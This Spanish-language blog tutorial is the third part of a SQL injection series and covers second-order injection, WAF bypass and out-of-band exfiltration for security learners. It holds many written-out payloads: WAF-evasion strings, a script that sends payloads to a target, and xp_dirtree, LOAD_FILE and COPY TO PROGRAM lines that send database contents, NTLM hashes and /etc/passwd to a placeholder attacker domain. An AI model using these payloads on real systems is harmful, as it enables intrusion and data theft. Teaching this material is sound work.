← Volver al Blog≡ Ver toda la Serie
SQL Injection14 de julio de 2026 · 25 min lectura

SQL Injection — Tomo III: Second-Order, WAF Bypass y Out-of-Band — Los Tres Vectores que Bypasean las Defensas que los Developers Creen que Tienen

Continúa tu entrenamiento con este tomo de nuestra saga definitiva sobre SQL Injection, analizando desde la teoría hasta la explotación.

Categoría: Web Hacking · SQL Injection · Advanced Exploitation
Nivel: Avanzado
Tiempo de lectura: 25 min
Serie: SQL Injection Completo — 9 Tomos | Tomo 3 de 9 · Trilogía 1 (Fundamentos y Clásicos)
Prerrequisito: Tomo 1 y Tomo 2 obligatorios
MITRE ATT&CK: T1190 · T1048.003 — Exfiltration Over Alternative Protocol (DNS)
CWE: CWE-89 · CWE-74 — Improper Neutralization of Special Elements
Laboratorio asociado: CP05 · Labs SQLi-A01 al SQLi-A07 · TribuCibernética Cyber Range


"Second-Order SQLi es el payload que pasa todos los filtros porque en el momento de la inyección es inofensivo. Out-of-Band SQLi es el que roba datos cuando el servidor no puede recibir respuestas. WAF Bypass es la razón por la que ninguna de las dos defensas anteriores importa si el código subyacente está mal construido. Los tres juntos forman el argumento más convincente que existe para por qué la parametrización no es opcional."


El Cierre de la Primera Trilogía

Los Tomos 1 y 2 cubrieron el terreno conocido: las variantes de SQLi donde el hunter interactúa directamente con un parámetro vulnerable y observa el resultado — ya sea visible, ciego o basado en tiempo.

Este tomo cubre los tres escenarios que rompen ese modelo:

Second-Order SQLi: El payload no se inyecta donde se ejecuta. Entra por un vector, duerme en la base de datos, y despierta en otro contexto completamente diferente — frecuentemente uno que los developers consideraban seguro porque "ese código nunca recibe input del usuario directamente".

WAF Bypass para SQLi: Las técnicas específicas, documentadas en 2025-2026, para hacer llegar payloads a través de los WAFs más comunes. En abril de 2026, tres nuevos CVEs de SQLi — Kestra, OpenProject y PraisonAI — demonstraron que payloads basados en JSON bypasean WAFs de Palo Alto, AWS, Cloudflare, F5 e Imperva evadiendo la detección por signatures.

Out-of-Band SQLi: Cuando el servidor no puede devolver datos por el canal HTTP normal — porque están bloqueados, porque la respuesta es genérica, o porque el Boolean y Time-Based son demasiado lentos — el servidor de base de datos contacta directamente al atacante via DNS o HTTP.


Índice

  1. Second-Order SQLi: la anatomía de la inyección que duerme
  2. Por qué los developers no lo encuentran: el problema de los dos contextos
  3. Los vectores de almacenamiento más comunes para Second-Order
  4. Metodología de hunting: cómo rastrear payloads almacenados
  5. Caso real: Second-Order SQLi en feature de export de reportes (NetSpi Research)
  6. CVEs de Second-Order en 2026: Kestra, OpenProject y PraisonAI
  7. WAF Bypass para SQLi: la filosofía antes de las técnicas
  8. Bypass via encoding y equivalencias sintácticas
  9. Bypass via fragmentación y comentarios SQL
  10. Bypass via JSON payloads — el vector que bypasea cinco WAFs simultáneamente
  11. Bypass via HTTP Parameter Pollution en SQLi
  12. Bypass via case manipulation y whitespace alternativo
  13. Out-of-Band SQLi: exfiltración via DNS
  14. Out-of-Band en MSSQL: xp_dirtree y UNC paths
  15. Out-of-Band en MySQL: LOAD_FILE y requests HTTP
  16. Out-of-Band en PostgreSQL: COPY TO y dblink
  17. Infraestructura para capturar Out-of-Band: Interactsh y Burp Collaborator
  18. Las limitaciones técnicas de DNS exfiltration y cómo resolverlas
  19. Detección defensiva: los tres vectores desde el lado del Blue Team
  20. Laboratorio en el Cyber Range
  21. Lo que viene en el Tomo 4

1. Second-Order SQLi: La Anatomía de la Inyección que Duerme

Second-Order (Stored) SQL Injection es la variante más frecuentemente ignorada. El atacante envía un payload que se almacena de forma segura en el momento de la inserción. La vulnerabilidad se activa más tarde, cuando una parte diferente de la aplicación recupera ese valor almacenado y lo usa en una nueva consulta sin sanitización.

La diferencia estructural con el SQLi convencional:

SQLi CONVENCIONAL (First-Order):
Request malicioso → Consulta SQL vulnerable → Ejecución → Resultado
         ↑__________________________________|
         El payload y la ejecución ocurren en el mismo request

SECOND-ORDER SQLi:
Fase 1: Request A → Almacenamiento en BD (sanitizado en esta fase)
                           ↓
         (tiempo: horas, días, o semanas)
                           ↓
Fase 2: Request B → Recuperación del dato almacenado → Nueva consulta sin sanitizar → Ejecución
                                                                    ↑
                                             El payload despierta aquí, en un contexto diferente

La razón por la que esto es tan efectivo: los developers frecuentemente aplican sanitización solo en el punto de entrada. Cuando el dato viaja a través de la base de datos a otro componente de la aplicación, asumen que es "dato interno" y lo tratan como confiable.

El escenario clásico: registro de usuario

Un escenario típico: un usuario se registra con un nombre de usuario que contiene sintaxis SQL. El endpoint de registro usa una consulta parametrizada, así que el payload se almacena como string literal — no hay inyección aquí. Más tarde, cuando la aplicación recupera ese nombre de usuario para construir un perfil, un reporte, o una query de administración sin parametrizar, el payload se activa.
# FASE 1: Registro — usa consulta parametrizada (correcto)
@app.route('/registro', methods=['POST'])
def registro():
    username = request.form['username']
    # El username malicioso: admin'--
    
    # Consulta parametrizada — el payload se almacena literalmente
    db.execute(
        "INSERT INTO usuarios (username, email) VALUES (?, ?)",
        (username, email)
    )
    # Almacenado en BD: username = "admin'--"
    # Sin ejecución de SQLi aquí — la fase 1 es segura

# FASE 2: Función de administración — construye query sin sanitizar
@app.route('/admin/perfil-usuario')
def perfil_usuario():
    username = request.args.get('user')
    
    # Recupera el username de la BD — parece seguro porque viene "de nuestra BD"
    user = db.execute("SELECT username FROM usuarios WHERE id = ?", (user_id,)).fetchone()
    stored_username = user['username']  # → "admin'--"
    
    # VULNERABLE: usa el dato recuperado de BD por concatenación
    query = f"SELECT * FROM perfiles WHERE username = '{stored_username}'"
    # Query resultante: SELECT * FROM perfiles WHERE username = 'admin'--'
    # SQLi ejecutado — la comilla en stored_username rompe la consulta
    resultado = db.execute(query)

2. Por Qué los Developers No Lo Encuentran: El Problema de los Dos Contextos

Second-Order SQLi tiene una tasa de detección muy baja en revisiones de código porque el desarrollador que revisa el código de registro ve parametrización correcta y marca como seguro. El desarrollador que revisa el código de administración ve datos que "vienen de la base de datos" y los trata como confiables.

La falacia de la confianza interna: Datos que provienen de la base de datos no son intrínsecamente seguros. Son tan controlables por un atacante como cualquier input directo, si ese atacante pudo escribir datos maliciosos en la BD en algún momento previo.

Datos externos (input del usuario) → [Sanitizar aquí] → Base de datos
Datos internos (de la base de datos) → [NO sanitizan aquí] ← ERROR CRÍTICO

La realidad: los datos internos pueden haber sido contaminados por
un atacante que pasó el filtro inicial. Siempre sanitizar el output,
independientemente de su origen.

Por qué los escáneres automáticos fallan

Los puntos de inyección Second-Order nunca son flaggeados por herramientas basadas en signatures — porque en el momento del request malicioso, el payload pasa todos los filtros. La peligrosidad emerge solo cuando se correlaciona con el comportamiento de otro endpoint en otro momento.

sqlmap tiene soporte limitado para Second-Order (--second-url flag), pero requiere que el tester conozca ya cuál es el segundo URL donde el payload se ejecuta — lo que normalmente requiere análisis manual previo.


3. Los Vectores de Almacenamiento Más Comunes para Second-Order

Cualquier campo que se almacena y luego se usa en otra consulta sin sanitizar es un vector potencial. Los más comunes en aplicaciones reales:

Vector de almacenamientoContexto de activaciónProbabilidad
Nombre de usuarioQueries de admin, logs, reportesMuy alta
Email de usuarioNotificaciones, exports, auditoríaAlta
Nombre completoReportes, PDFs, facturasAlta
Campos de perfil (bio, cargo, empresa)Dashboards, directoriosMedia
Nombres de proyectos/gruposQueries de búsqueda, exportsAlta
Tags y etiquetasFiltros, categorizaciónMedia
Comentarios y notasModeración, auditoría internaMedia
Nombres de archivos subidosQueries de listado, exportsMedia
Datos importados via CSVProcessing pipelines, reportesAlta
Campos de direcciónFacturas, reportes de envíoMedia

El vector más subestimado: imports de CSV

# Escenario: plataforma de RRHH que importa empleados via CSV
# El CSV tiene: nombre,email,departamento
# Fila maliciosa: "Empresa Legal'--",legal@empresa.com,RRHH

# Fase 1: Import — usa parametrización (seguro)
for row in csv_data:
    db.execute(
        "INSERT INTO empleados (nombre, email, dept) VALUES (?, ?, ?)",
        (row['nombre'], row['email'], row['dept'])
    )
# → Almacenado: nombre = "Empresa Legal'--"

# Fase 2: Reporte mensual generado por el sistema (no por el usuario directamente)
def generar_reporte_dept(dept_name):
    # Recupera empleados del departamento para el reporte
    empleados = db.execute(
        "SELECT nombre FROM empleados WHERE dept = ?", (dept_name,)
    ).fetchall()
    
    for emp in empleados:
        # VULNERABLE: usa el nombre recuperado para buscar métricas adicionales
        metricas = db.execute(
            f"SELECT * FROM metricas WHERE empleado_nombre = '{emp['nombre']}'"
        ).fetchone()
        # SQLi activado cuando el reporte procesa "Empresa Legal'--"

4. Metodología de Hunting: Cómo Rastrear Payloads Almacenados

El hunting de Second-Order SQLi requiere una metodología diferente al SQLi convencional. No se trata de inyectar y observar la respuesta inmediata — se trata de inyectar y luego explorar sistemáticamente todos los contextos donde ese dato podría reaparecer.

El flujo de hunting

PASO 1: Identificar todos los vectores de escritura
├── Formularios de registro y perfil
├── Campos de configuración de cuenta
├── Imports de datos (CSV, XML, JSON)
└── Cualquier campo que persiste en la BD

PASO 2: Para cada vector, inyectar un payload de prueba único y rastreable
├── Payload ideal: username = "TC_PROBE_2026'--"
│   (único, rastreable, contiene el payload SQLi fundamental)
└── Documentar exactamente qué se almacenó y dónde

PASO 3: Explorar exhaustivamente todos los contextos donde el dato reaparece
├── Páginas de perfil propio
├── Páginas de perfil vistas por otros usuarios
├── Paneles de administración
├── Exports y reportes (PDF, CSV, Excel)
├── Funciones de búsqueda que usan el campo
├── Emails o notificaciones generadas por el sistema
├── Logs de auditoría accesibles via UI
└── APIs que devuelven el dato

PASO 4: Para cada contexto donde el dato reaparece, observar comportamiento
├── ¿La respuesta cambia con el payload vs. sin él?
├── ¿Hay errores SQL en algún contexto?
├── ¿La longitud de respuesta varía?
└── → Si hay variación → Second-Order SQLi confirmado

El payload de prueba ideal para Second-Order

-- Payload que funciona en múltiples contextos sin ser destructivo
' OR '1'='1

-- Para contextos numéricos
1 OR 1=1

-- Para provocar error visible (si algún contexto no sanitiza)
' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))--

-- Para Time-Based cuando no hay error visible
' AND SLEEP(5)--

El truco: usar el mismo payload en múltiples campos del mismo registro. Si el username y el email son diferentes payloads únicos, puedes rastrear cuál activó el SQLi cuando se detecta.


5. Caso Real: Second-Order SQLi en Feature de Export de Reportes

En este engagement documentado por NetSpi, la aplicación era vulnerable a Second-Order SQL Injection en un feature de export de reportes a Excel. Un second-order SQL injection ocurre cuando payloads SQL maliciosos son almacenados por una parte de la aplicación y luego ejecutados en un contexto diferente, como una llamada API subsecuente, sin sanitización apropiada.

La cadena técnica completa

Aplicación: Plataforma interna de analytics corporativo con MSSQL como backend.

Fase 1 — Almacenamiento: El atacante tiene acceso legítimo a la plataforma y puede crear "valores de filtro" personalizados que se guardan en la BD:

POST /api/filtros/crear HTTP/1.1
Authorization: Bearer TOKEN_USUARIO_NORMAL

{"nombre": "Reporte Q1", "valor": "' UNION SELECT NULL,name,NULL FROM master..sysdatabases--"}

El endpoint de creación usa stored procedures parametrizados — el payload se almacena como texto literal.

Fase 2 — Activación: Cuando el usuario exporta el reporte usando el filtro guardado:

GET /api/export/excel?filtro_id=127 HTTP/1.1
Authorization: Bearer TOKEN_USUARIO_NORMAL

El backend recupera el valor del filtro de la BD y lo usa en una nueva consulta SQL sin parametrizar para generar el Excel. El UNION SELECT se activa en este segundo contexto.

Aunque las respuestas eran las mismas para cualquier input provisto al parámetro vulnerable en el endpoint /api/report, la explotación exitosa fue confirmada mediante conexiones out-of-band usando SQL Server UNC Path injection, permitiendo recuperar los nombres de la base de datos y del servidor.

Los problemas de DNS exfiltration encontrados

Al intentar exfiltrar datos adicionales surgieron problemas: intentar exfiltrar datos con espacios u otros caracteres especiales, y enviar datos de más de 63 caracteres de longitud causaban fallos. Revisando el contenido de RFC 1035, se concluyó que la query SQL fallaba porque uno o ambos de los siguientes límites de DNS se excedían.

Esto introduce el tema de Out-of-Band — cubrimos sus limitaciones y soluciones en detalle más adelante en este tomo.


6. CVEs de Second-Order en 2026: Kestra, OpenProject y PraisonAI

En abril de 2026, tres nuevos CVEs críticos de SQLi mostraron el patrón exacto de Second-Order: atacantes apuntando a flujos de autenticación donde la validación de input ocurre en la capa equivocada, métodos de query raw en ORMs que los developers asumen son seguros, y puntos de inyección second-order que nunca son flaggeados por herramientas basadas en signatures.

CVE-2026-34612 — Kestra

Kestra es una plataforma de orquestación de workflows open source. La vulnerabilidad: los nombres de namespaces y flows se almacenaban con validación básica en la UI, pero cuando el sistema de ejecución de workflows recuperaba esos nombres para construir queries de monitoreo internas, los usaba sin parametrizar.

Vector: Nombre de namespace con payload → sistema de ejecución → query interna sin sanitizar → SQLi en el contexto del proceso de orquestación (privilegios de sistema).

CVE-2026-34717 — OpenProject

OpenProject es una plataforma de gestión de proyectos enterprise. La vulnerabilidad estaba en los nombres de proyectos y grupos de trabajo — valores que pasan por validación UI pero que el sistema interno de reportes usa directamente en queries de agregación.

Impacto particular: Los reportes de OpenProject frecuentemente son accesibles para usuarios con permisos limitados pero ejecutados con el usuario de BD de la aplicación — que tiene permisos amplios sobre todas las tablas del sistema.

CVE-2026-34934 — PraisonAI

El más interesante de los tres: PraisonAI es una plataforma de agentes de IA. La vulnerabilidad estaba en cómo los nombres de agentes y tareas — definidos por el usuario — se usaban internamente en las queries que el sistema ejecuta para rastrear el estado de las tareas.

La ironía: Una plataforma de IA que usa SQL internamente para rastrear sus propios agentes, vulnerable a SQLi a través de los nombres de esos agentes.


7. WAF Bypass para SQLi: La Filosofía Antes de las Técnicas

Lo que ha cambiado no es la vulnerabilidad fundamental — es el campo de batalla. Las aplicaciones modernas están protegidas cada vez más por WAFs, frameworks de queries parametrizadas y validación sofisticada de input. Sin embargo, los atacantes siguen encontrando caminos a través de estas defensas.

Antes de entrar en técnicas específicas, el modelo mental correcto:

Un WAF opera con uno o más de estos mecanismos:

1. BLACKLIST DE SIGNATURES
   El WAF tiene una lista de patrones conocidos: UNION SELECT, SLEEP(, 1=1, etc.
   Limitación: infinitas formas de expresar la misma instrucción SQL

2. SCORING DE ANOMALÍAS
   Cada elemento sospechoso suma puntos — se bloquea al superar el umbral
   Limitación: distribuir el payload reduce el score individual

3. INSPECCIÓN DE LÍMITE DE BYTES
   Solo inspecciona los primeros N bytes del request
   Limitación: payload más allá de ese límite pasa sin inspección

4. PARSING DIFERENTE AL SERVIDOR
   El WAF interpreta el request de una forma, el servidor de otra
   Limitación: si logras una discrepancia → el WAF ve "limpio", el servidor ve el payload

El principio unificador: el WAF y el servidor SQL deben interpretar el request de forma idéntica para que la protección sea efectiva. Cualquier discrepancia es potencialmente explotable.


8. Bypass via Encoding y Equivalencias Sintácticas

URL Encoding

-- Original (bloqueado): UNION SELECT
-- URL encoded (puede pasar): UNION%20SELECT
-- Double URL encoded: UNION%2520SELECT
-- Hex encoding: UNION%20%53%45%4C%45%43%54

-- El servidor decodifica antes de pasar a SQL → el WAF ve encoded, el servidor ve SQL

HTML Entities en contextos de inyección en formularios web

-- Si el input pasa por un parser HTML antes de llegar al SQL:
-- UNION = UNION (HTML entities)
-- Algunos WAFs no decodifican HTML entities antes de inspeccionar

Charset manipulation

-- Especificar charset no-estándar en el request
Content-Type: application/x-www-form-urlencoded; charset=ibm037

-- IBM037 (EBCDIC) usa representaciones diferentes para caracteres SQL
-- Algunos backends decodifican EBCDIC → el WAF ve bytes ininteligibles
-- El servidor SQL ve el payload decodificado

Equivalencias de funciones MySQL

-- SLEEP() bloqueado → BENCHMARK() equivalente
SLEEP(5)          → BENCHMARK(10000000, SHA1('test'))

-- SUBSTRING() bloqueado → equivalentes
SUBSTRING(x,1,1)  → SUBSTR(x,1,1)
                  → MID(x,1,1)
                  → LEFT(x,1)

-- ASCII() bloqueado → equivalentes
ASCII(x)          → ORD(x)
                  → HEX(x)

-- IF() bloqueado → equivalentes
IF(cond,a,b)      → CASE WHEN cond THEN a ELSE b END
                  → (cond AND a) OR (NOT cond AND b)

9. Bypass via Fragmentación y Comentarios SQL

Los WAFs frecuentemente buscan keywords SQL completas. Fragmentarlas con comentarios puede evadir la detección:

-- Fragmentación con comentarios inline
UN/*comentario*/ION SEL/*qqq*/ECT NULL,NULL--
UN/**/ION/**/SELECT/**/NULL,NULL--

-- El motor SQL ignora los comentarios → interpreta UNION SELECT
-- El WAF no reconoce "UN/**/ION" como UNION en sus reglas

-- Variantes de comentarios
UNION/*BYPASS*/SELECT
UNION/*!SELECT*/         -- Comentario condicional de MySQL (ejecutado siempre en MySQL moderno)
UNION/*!50000SELECT*/    -- Solo ejecutado si MySQL versión >= 5.0.00

-- Fragmentación de keywords con newlines
UNION
SELECT
NULL,NULL--

-- Separación con tabs
UNION	SELECT	NULL,NULL--   -- Tab entre keywords

-- Combinación extrema
U/**/N/**/I/**/O/**/N/**/
S/**/E/**/L/**/E/**/C/**/T/**/
N/**/U/**/L/**/L/**/,/**/N/**/U/**/L/**/L--

Comentarios condicionales de MySQL como vector de bypass

-- /*!...*/  es ejecutado por MySQL pero no por otros motores
-- Los WAFs que no son MySQL-aware pueden ignorar este contenido

-- Ejecutado solo en MySQL:
/*!UNION*/ /*!SELECT*/ NULL,version()--

-- Con versión mínima:
/*!50000UNION*/ /*!50000SELECT*/ NULL,version()--

10. Bypass via JSON Payloads — El Vector que Bypasea Cinco WAFs Simultáneamente

Este es el bypass más documentado de 2026 y el que más impacto ha tenido en entornos de producción.

Payloads basados en JSON bypasean WAFs de Palo Alto, AWS, Cloudflare, F5 e Imperva al mismo tiempo evadiendo la detección basada en signatures. Estos bypass son efectivos precisamente porque el payload peligroso nunca llega en forma reconocible al WAF.

El mecanismo: JSON operator en MySQL 8+

MySQL 8.0 introdujo operadores JSON nativos que permiten extraer valores de documentos JSON. Estos operadores usan sintaxis completamente diferente al SQL tradicional — sintaxis que los WAFs no tienen catalogada como maliciosa:

-- Operador de extracción de JSON en MySQL 8+
-- JSON_EXTRACT(documento, ruta)
-- Shorthand: documento->>'$.ruta'

-- Ejemplo legítimo:
SELECT datos->>'$.nombre' FROM usuarios WHERE id = 1

-- VECTOR DE BYPASS: el payload está dentro de la ruta JSON
-- La aplicación usa el valor de la ruta como parte de la consulta
SELECT datos->>? FROM usuarios WHERE id = 1
-- Si el parámetro de la ruta es controlable:
-- Payload: $.nombre" UNION SELECT password FROM usuarios--

El bypass documentado de CVE-2026-34612 (Kestra) con JSON

POST /api/executions HTTP/1.1
Content-Type: application/json

{
  "namespace": "production",
  "flowId": "data-pipeline",
  "inputs": {
    "filter": {
      "field": "created_at",
      "operator": "between",
      "value": ["2026-01-01", "2026-06-30"],
      "extra": "') UNION SELECT NULL,password,NULL FROM admin_users--"
    }
  }
}

El WAF inspeccionaba el JSON y buscaba patterns SQLi en los valores de string de primer nivel. El payload estaba anidado en un objeto dentro de un array — muchos WAFs no deserializan JSON recursivamente antes de inspeccionar.

Técnica universal de JSON bypass

# Script de prueba de JSON bypass contra endpoints vulnerables
import requests
import json

TARGET = "https://objetivo.com/api/buscar"
HEADERS = {"Content-Type": "application/json", "Authorization": "Bearer TOKEN"}

# Payload distribuido en estructura JSON anidada
payloads = [
    # Payload en valor de array anidado
    {"filtros": [{"campo": "nombre", "valor": "' UNION SELECT NULL,version()--"}]},
    
    # Payload en clave de objeto (algunos backends construyen queries con claves también)
    {"filtros": {"' UNION SELECT NULL,version()--": "valor"}},
    
    # Payload en múltiples niveles de anidamiento
    {"config": {"opciones": {"avanzado": {"query": "' OR 1=1--"}}}},
    
    # Payload fragmentado entre múltiples campos que el backend concatena
    {"parte1": "' UNION ", "parte2": "SELECT ", "parte3": "NULL,version()--"}
]

for payload in payloads:
    r = requests.post(TARGET, json=payload, headers=HEADERS)
    print(f"Status: {r.status_code} | Length: {len(r.content)} | Payload: {list(payload.keys())}")

11. Bypass via HTTP Parameter Pollution en SQLi

La técnica de HPP aplicada específicamente a SQLi: distribuir el payload entre múltiples parámetros del mismo nombre para que el WAF evalúe cada uno individualmente (inofensivo) pero el backend los concatene (payload completo).

-- Request con HPP
GET /buscar?q=SELECT&q=+version()&q=--  HTTP/1.1

-- El WAF evalúa:
-- "SELECT" → no es payload completo → pasa
-- " version()" → no es payload completo → pasa
-- "--" → comentario SQL aislado → puede pasar

-- El backend (según el framework):
-- PHP: $_GET['q'] → último valor → "--" (solo el último)
-- ASP.NET: Request.QueryString['q'] → "SELECT, version(),--" (todos unidos con coma)
-- Flask/Python: request.args.getlist('q') → ["SELECT", " version()", "--"]

El comportamiento varía por framework. El más explotable históricamente es ASP.NET que une parámetros duplicados con coma:

?q=SELECT&q=*+FROM+usuarios-- 
→ ASP.NET: q = "SELECT,* FROM usuarios--"
→ SQL: SELECT * FROM usuarios--  (si el backend procesa la coma correctamente)

12. Bypass via Case Manipulation y Whitespace Alternativo

Los WAFs más simples usan regex case-sensitive o no cubren todas las variaciones de whitespace:

-- Case manipulation
union select → UNION SELECT → UnIoN SeLeCt → uNiOn sElEcT

-- Whitespace alternativo (caracteres que SQL interpreta como espacio)
-- Tab (0x09): UNION	SELECT
-- Newline (0x0A): UNION
SELECT
-- Carriage return (0x0D): UNION\rSELECT
-- Form feed (0x0C): UNION\fSELECT
-- Vertical tab (0x0B): UNION\vSELECT

-- Combinación extrema para evadir regex complejas
%55%4E%49%4F%4E+%53%45%4C%45%43%54   -- URL encoded case variation
uNiOn%09sElEcT                         -- Mixed case + tab
UNION%0ASELECT                         -- Newline como whitespace

La estrategia de bypass en capas

Para WAFs robustos, combinar múltiples técnicas simultáneamente:

-- Nivel 1: Base64 en función SQL (MySQL)
' UNION SELECT NULL,FROM_BASE64('c2VsZWN0IHZlcnNpb24oKQ==')--
-- FROM_BASE64 decodifica "select version()" — ejecutado por MySQL pero la regex no lo detecta

-- Nivel 2: Codificación hexadecimal de strings
' UNION SELECT NULL,0x76657273696f6e28292d2d--
-- 0x76657273696f6e2829 = "version()" en hex

-- Nivel 3: Construcción dinámica de query
' UNION SELECT NULL,CHAR(118,101,114,115,105,111,110,40,41)--
-- CHAR() construye "version()" carácter por carácter

-- Nivel 4: Subquery de múltiple nivel
' UNION SELECT NULL,(SELECT(SELECT version()))--

13. Out-of-Band SQLi: Exfiltración via DNS

Out-of-Band SQLi no extrae datos a través de la aplicación. Hace que el servidor de base de datos inicie una conexión saliente — DNS lookup, HTTP request, o conexión SMB — a un servidor controlado por el atacante, llevando los datos en el request mismo.

¿Cuándo usar Out-of-Band?

Boolean-Based no funciona → respuestas idénticas
Time-Based no funciona → timeouts, red con jitter alto, WAF bloquea SLEEP()
El volumen de datos es grande → Boolean/Time-Based serían demasiado lentos
Se necesita velocidad → OOB extrae múltiples datos simultáneamente

→ Out-of-Band SQLi

El mecanismo de DNS exfiltration

1. Atacante controla un servidor DNS autoritativo para: attacker-dns.com
   (o usa servicio como Burp Collaborator / Interactsh)

2. El payload hace que el servidor de BD haga un DNS lookup a:
   DATOS_ROBADOS.attacker-dns.com

3. El servidor DNS del atacante registra la consulta → recibe los datos

4. Los datos viajan como subdominio del lookup DNS:
   admin_password_hash.attacker-dns.com
   → El servidor DNS registra este lookup → atacante lee los datos

El DNS nunca está bloqueado en producción (sin DNS, nada funciona). Es el canal exfiltración más universalmente disponible.


14. Out-of-Band en MSSQL: xp_dirtree y UNC Paths

MSSQL tiene el soporte más robusto y más documentado para Out-of-Band via UNC paths y xp_dirtree:

-- xp_dirtree: lista el contenido de un directorio
-- Si el directorio es un UNC path (\\servidor\share), MSSQL hace una conexión SMB/DNS
-- El atacante controla el servidor → recibe la conexión → confirma ejecución de código

-- Confirmación básica de OOB (solo verifica que la conexión llega)
'; EXEC xp_dirtree '\\ATTACKER-SERVER.attacker-dns.com\test'--
'; EXEC master..xp_dirtree '\\ATTACKER-SERVER.attacker-dns.com\test'--

-- Exfiltración de datos via DNS:
-- El dato se concatena como parte del hostname del UNC path
-- El DNS lookup lleva el dato al servidor del atacante

-- Exfiltrar versión del servidor
'; DECLARE @data VARCHAR(1000);
SET @data = (SELECT @@version);
EXEC master..xp_dirtree '\\' + @data + '.attacker-dns.com\test'--

-- Exfiltrar nombre de la base de datos
'; EXEC master..xp_dirtree '\\'+(SELECT DB_NAME())+'.attacker-dns.com\a'--

-- Exfiltrar credenciales (hash NTLM via SMB — no DNS)
'; EXEC xp_dirtree '\\ATTACKER-IP\share'--
-- MSSQL intenta autenticarse via SMB → envía hash NTLM al atacante
-- El atacante puede intentar crackear el hash o hacer pass-the-hash

Las limitaciones del DNS hostname (RFC 1035)

Revisando el contenido de RFC 1035, se concluyó que las queries SQL fallaban porque los límites de DNS se excedían: el subdominio no puede superar 63 caracteres, y el hostname total no puede superar 253 caracteres.
Límites de DNS según RFC 1035:
- Cada label (parte entre puntos): máximo 63 caracteres
- Hostname total: máximo 253 caracteres
- Solo se permiten caracteres: a-z, 0-9, guión (-)
- No se permiten: espacios, comillas, caracteres especiales, mayúsculas (case-insensitive)

Cómo resolver las limitaciones de DNS

-- Problema: datos con espacios y caracteres especiales
-- Solución: convertir a HEX antes de exfiltrar

-- En MSSQL: convertir a HEX
'; DECLARE @data VARCHAR(1000), @hex VARCHAR(2000);
SET @data = (SELECT TOP 1 password FROM usuarios);
SET @hex = (SELECT CONVERT(VARCHAR(2000), CONVERT(VARBINARY(1000), @data), 2));
-- @hex ahora es el dato en hex — solo caracteres a-f y 0-9 — válido en DNS

-- Exfiltrar el hex (si tiene más de 63 chars, fragmentar)
EXEC master..xp_dirtree '\\' + LEFT(@hex, 60) + '.p1.attacker-dns.com\a'--
EXEC master..xp_dirtree '\\' + SUBSTRING(@hex, 61, 60) + '.p2.attacker-dns.com\a'--
-- p1, p2 son prefijos para saber el orden de los fragmentos

15. Out-of-Band en MySQL: LOAD_FILE y Requests HTTP

MySQL tiene menos capacidades nativas de OOB que MSSQL, pero tiene opciones:

-- LOAD_FILE con UNC path (solo en Windows, requiere FILE privilege)
' UNION SELECT LOAD_FILE('\\\\ATTACKER-SERVER.attacker-dns.com\\test')--
-- MySQL hace un DNS lookup para resolver ATTACKER-SERVER.attacker-dns.com
-- La conexión SMB subsecuente puede fallar, pero el DNS lookup ya llegó al atacante

-- Exfiltración via DNS con subquery
' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT version()),'.attacker-dns.com\\test'))--

-- Sin LOAD_FILE — usando INTO OUTFILE con UNC (Windows MySQL)
' UNION SELECT version() INTO OUTFILE '\\\\ATTACKER-SERVER.attacker-dns.com\\data\\output.txt'--

La alternativa via funciones de MySQL con side effects

-- Si el servidor MySQL tiene acceso a HTTP (raro pero documentado en configs permisivas)
-- Via User Defined Functions (UDF) maliciosas cargadas previamente
SELECT sys_exec('curl https://attacker-dns.com/?data=$(id)');

-- Via INTO OUTFILE a webroot (si la BD tiene permisos de escritura)
' UNION SELECT version() INTO OUTFILE '/var/www/html/sqli_output.txt'--
-- Luego: curl https://objetivo.com/sqli_output.txt

16. Out-of-Band en PostgreSQL: COPY TO y dblink

-- PostgreSQL: COPY TO para escribir a archivo o UNC path
'; COPY (SELECT version()) TO '/tmp/version.txt'--
-- Si /tmp es accesible via webserver → exfiltración via HTTP

-- PostgreSQL: dblink para hacer conexiones a otros servidores
-- (requiere extensión dblink instalada)
'; SELECT dblink_connect('host=ATTACKER-SERVER port=5432 user=a password=a dbname=a')--
-- La conexión TCP confirma ejecución — se registra en el listener del atacante

-- PostgreSQL: COPY con programa (requiere superuser)
'; COPY (SELECT version()) TO PROGRAM 'curl https://attacker-dns.com/?d=$(cat /etc/passwd | base64)'--
-- Ejecuta curl con los datos — OOB via HTTP

17. Infraestructura para Capturar Out-of-Band: Interactsh y Burp Collaborator

Para recibir las conexiones OOB necesitas infraestructura que escuche DNS y HTTP. Dos opciones principales:

Interactsh (open source, gratuito)

# Instalación
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

# Generar un dominio único de captura
interactsh-client

# Output:
# [INF] Listing on interactsh server: oast.pro
# [INF] Your unique interactsh domain: abc123xyz.oast.pro

# Usar el dominio en los payloads:
'; EXEC master..xp_dirtree '\\' + (SELECT @@version) + '.abc123xyz.oast.pro\a'--
# Interactsh registra el DNS lookup y muestra los datos

Burp Collaborator (Burp Pro)

1. Burp Suite → Burp menu → Burp Collaborator client
2. "Copy to clipboard" → obtener URL única tipo: xyz123.burpcollaborator.net
3. Usar en payload: '; EXEC xp_dirtree '\\xyz123.burpcollaborator.net\test'--
4. En Collaborator client: "Poll now" → ver DNS/HTTP/SMTP interactions recibidas

Servidor manual con Python para pruebas rápidas

#!/usr/bin/env python3
"""
Listener DNS simple para capturar OOB SQLi
Requiere: pip install dnslib --break-system-packages
Requiere: ejecutar como root (puerto 53)
"""

from dnslib.server import DNSServer, BaseResolver
from dnslib import RR, QTYPE, A
import datetime

class OOBCapture(BaseResolver):
    def resolve(self, request, handler):
        qname = str(request.q.qname)
        timestamp = datetime.datetime.now().strftime('%H:%M:%S')
        print(f"\n[{timestamp}] DNS Query recibida:")
        print(f"  Origen: {handler.client_address[0]}")
        print(f"  Query: {qname}")
        print(f"  [!] Posible datos exfiltrados: {qname.split('.')[0]}")
        
        # Responder con IP del atacante para mantener la conexión
        reply = request.reply()
        reply.add_answer(RR(qname, QTYPE.A, rdata=A("127.0.0.1"), ttl=60))
        return reply

print("[*] Iniciando servidor DNS OOB Capture en puerto 53...")
print("[*] Esperando conexiones de Out-of-Band SQLi...")
server = DNSServer(OOBCapture(), port=53, address="0.0.0.0")
server.start()

18. Las Limitaciones Técnicas de DNS Exfiltration y Cómo Resolverlas

Limitación 1: Longitud del hostname (63/253 chars)

Solución: Exfiltrar en fragmentos numerados.

-- Fragmentación con índice de posición
EXEC master..xp_dirtree '\\'+ SUBSTRING(HEX_DATA, 1, 50) +'.f1.attacker.com\a'--
